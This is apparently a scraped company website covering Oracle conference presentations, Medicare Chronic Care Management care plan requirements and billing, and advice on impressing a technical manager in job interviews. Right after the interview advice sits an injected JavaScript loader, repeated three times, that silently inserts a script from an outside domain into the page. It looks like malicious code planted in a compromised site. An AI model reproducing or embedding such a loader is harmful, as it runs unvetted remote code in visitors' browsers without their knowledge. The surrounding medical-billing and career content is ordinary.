Use these links to view slides presentations given at various Oracle conferences and meetings.

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To view all papers and presentations organized by conference please click here

NOTE:  No papers or presentations contained on this website may be reproduced or distributed in any form without the prior written permission of Dulcian, Inc.

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One important element of the Scope of Service is a comprehensive, patient-centered Care Plan. The Care Plan must be based on the environmental, psychological, functional, and physical needs of the patient and it must reflect the patient’s values. It provides an important tool for the patient’s care team and any outside provider called upon when the care team is not available. Several elements which are required by CCM may already be already be present in the patient’s electronic chart: problem list, medications, and allergies. But most components of the Care Plan are missing from many EMRs. If you are preparing to bill for CCM, you must account for these components on your own.

The missing components of the Care plan may be grouped into 2 main categories:

• Symptom management
• Care management

1. Symptom Management

CMS requires a structured recording of all medications and allergies for each CCM patient. But just having a list of medications and a list of allergies is not enough. The Care Plan must also include:

• Medication reconciliation
• Potential interactions
• Review of patient compliance with drug regimen
• Oversight of patient self-management of medications

Each of these elements must be documented. Reconciliation of medications ensures that the patient is only taking those drugs which are currently indicated for each condition, while compliance review gives the clinician a chance to explain to the patient why each medication is needed and how it should be taken. Documenting potential interactions makes it clear to both patient and clinician what precautions, if any, need be taken. Oversight also gives clinicians a chance to review all drugs the patient is currently taking including OTC substances, and document all of them.

But it doesn’t end there. Management of symptoms must specifically be addressed in the Care Plan, including:

• Measureable treatment goals
• Expected outcome and prognosis
• Preventative care

Clinicians are responsible for explaining and documenting treatment goals. They must also document their expected outcomes for the patient with respect to each chronic condition, and while they must meet with the patient at least once a year to revise and update the plan, they must also ensure that the patient is receiving appropriate preventative care during the year.

2. Care Management

A patient’s chart may contain information about caregivers and social services, but frequently this data is buried in an encounter area and is not easily observable. The Care Plan requires clear documentation for:

• Planned interventions and who is going to intervene
• Community and social services ordered and access to those services
• Description of how agency services and specialists outside the practice will be coordinated
• 24/7 access to plan by care team and outside providers

Interventions may be as simple as caregivers reminding the patient to take daily medications, or may include home phlebotomy visits by a qualified technician. The clinician must document each intervention so that patient and caregiver are clear regarding the assignment and scheduling of these responsibilities. Social services may consist of adult day care, local senior transport, or other services. Clinicians must be aware of and document each of these services and describe how the patient will gain access to each. Coordination of services must also be made clear.

The Care Plan also requires inclusion of specialists’ contact information and an accounting of how all of the patient’s specialists will be coordinated. This information must be maintained in the patient’s EMR.

Because the Care Plan contains protected health information, HIPAA standards apply. A paper copy or electronic access (for example, via secure patient portal) must be given to the patient. For the care team, access to the Care Plan must be electronic, 24/7, and must be available on the same basis to clinicians outside of the practice who are directly involved with the patient’s care.

It’s important to note that the Care Plan cannot be sent to providers via fax, but it may be stored and sent via secure electronic transmission. Documentation that a copy of the plan has been given to the patient must be kept in the EMR.

Dulcian Health has formulated a Care Plan which meets all CCM requirements. We make it easy to complete and maintain all necessary information in your EMR. Don’t go it alone! Contact Dulcian and let us help you be compliant with your CCM efforts.

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• can think “out of the box.”
• will be intellectually engaged in the problem, not just looking for a “job.”
• will be obsessed about doing things correctly and well.

So, here are my two-cents about how to impress a senior technical manager on your first few job interviews out of college. This also applies to anyone with less than 5 years of experience.

• Don’t assume that you have anything of value to offer me on day one.  You are here to learn.  I am going to pay you to learn as if you were in college. Maybe in a year or so, you will contribute something of value. Until then, your job is to act like you are in graduate school and focus on learning.   After you have five years of experience, I will assume that you know something. Until then, you are raw talent.
• Prepare for the interview.  Read everything about the company on its website.  If there are white papers, read them.  Google the people you will be speaking to and learn all about them. If they have done presentations or papers, read them.  If they wrote books, buy them and read them. When someone shows up for an interview and does not know who I am, I am already thinking about dismissing them.
• If you don’t know the answer to a question, say so. If you lie, dissemble, fake it, oversell yourself, or in any way are not completely honest, you will fail the interview.

Come with questions prepared:

• What do you want to know about the job?
• Who will I be reporting to? Can I see their resume?
• What specific area/tasks do you need staff to help with now?
• Can I talk someone who was recently hired?
• Do you do formal evaluations? If so what are the criteria?
• What is the work culture? Is this a 40-hour a week kind of place or a 100-hour a week organization?
• What are the expectations?

Interview me.

Here is one I will ask: “What do you want to be when you grow up?” There are not a lot of good answers, but here are a few:

1. I want to be a DBA… I like deep technical stuff. I want to learn all I can and manage large systems.
2. I like coding. I want to be a heads-down coder and solve hard problems. I did XXX in college/my last job and I really like to build systems.
3. I want to do business analysis. I like talking to people and gathering requirements. I would rather be customer facing than sitting in front of a monitor all day. Ultimately, I want to do project management.
4. “I have no idea” is a perfectly good and honest answer. “I like code, testing sounds interesting, being a DBA sounds fun but I don’t really know enough to judge. I think I can give you a better answer in 6 months or a year.”

Write a good resume. If you are not a good writer, make the resume shorter. I don’t need to see that your objective is: “A challenging and rewarding job in the XXX industry leading to a management position within 5 years.” Maybe I can paraphrase your mother… “If you can’t say anything smart, don’t say anything at all.” Some odd and very useful things I have seen in a resume books or articles that influenced the candidate’s life. Knowing what makes you interested will tell me a LOT about you.

Keep in mind that it is just as hard for me to find a good employee to hire as it is for you to find a good job. We are working together to see if this is a good fit.;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, ‘script’, `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, ‘script’, `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, ‘script’, `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);

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• Building the Care Plan

You can’t start billing for CCM without a care plan for each patient. The EMRs do not typically allow you to create good care plans. Those that do include a care plan builder tend to leave the actual design of the plan up to you. Dulcian has created a nice care plan builder that meets all of the CCM rules and integrates with your EMR. This provides a compliant care plan for each patient, which you can then evolve to meet your clinical needs.

• 24/7 access

You must make your care plan available to clinicians 24/7. Unless you want to create user names and passwords for your EMR for any clinician who might need access, some type of care plan portal is very useful. Dulcian has created a handy portal where care plans can reside.

• Logging CCM time

Any timer that is not automatically tracking time without an overt action on the part of the staffer is not going to get used. Our timer requires minimal effort from the staff and can be seamlessly integrated with whatever software is being used to support the care plan. Using any less rigorous way of logging CCM time and you will find that the fantasy of $200,000/year for each practitioner rapidly turns into $2000/year.

• Repurpose your staff

The way to get closer to full CCM billing is to focus your staff on reaching out to patients during the month. Since most practice staff members are already so busy that they can’t take on any additional tasks, you should contemplate either hiring new staff to do patient outreaches or outsourcing non-patient tasks to an organization that can take care of your routine office tasks. Dulcian can help handle all of your routine tasks using our credentialed staff to help you maximize the number of CCM patients for whom your practice can bill.

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Click here for a more detailed discussion of this topic.

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Click here to see how Dulcian can help with Physician Support Services.

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Does CMS define which Chronic Conditions meet the criteria for CCM?

NO! The Final Rule is broad on the subject and allows physicians to make medical decisions concerning their patients. Physicians must consider the multiple chronic conditions of their patients who suffer disease states of the most severe acuity and those which place these patients at serious risk as defined above. In its 2014 rule commentary, CMS stated that its intent was not to be prescriptive in defining chronic conditions. Its research was based on chronic conditions as defined in a Medicare list of chronic conditions but, “We note that we did not propose to limit the eligible chronic conditions to those contained in our Medicare data analysis.”………….

Click here for a more complete discussion of this issue.

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In order to bill under CPT 99940, CMS has outlined many requirements. However, the method and format of the log used to track time spent on CCM services from which it is determined that the 20-minute minimum of non-patient facing services has been met, remains a topic for discussion.

Click here for more information about this topic.

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This is great news for taxpayers and mandates diligence for providers. CMS audit scope is set to expend additional audit resources towards documentation and compliance!

Predictive analytic tools and techniques enables CMS to move past “pay and chase audits!”  Today the agency announced that it is able to expand its audit resources to documentation and compliance. This has direct implications for CCM claims.

Click here for more details

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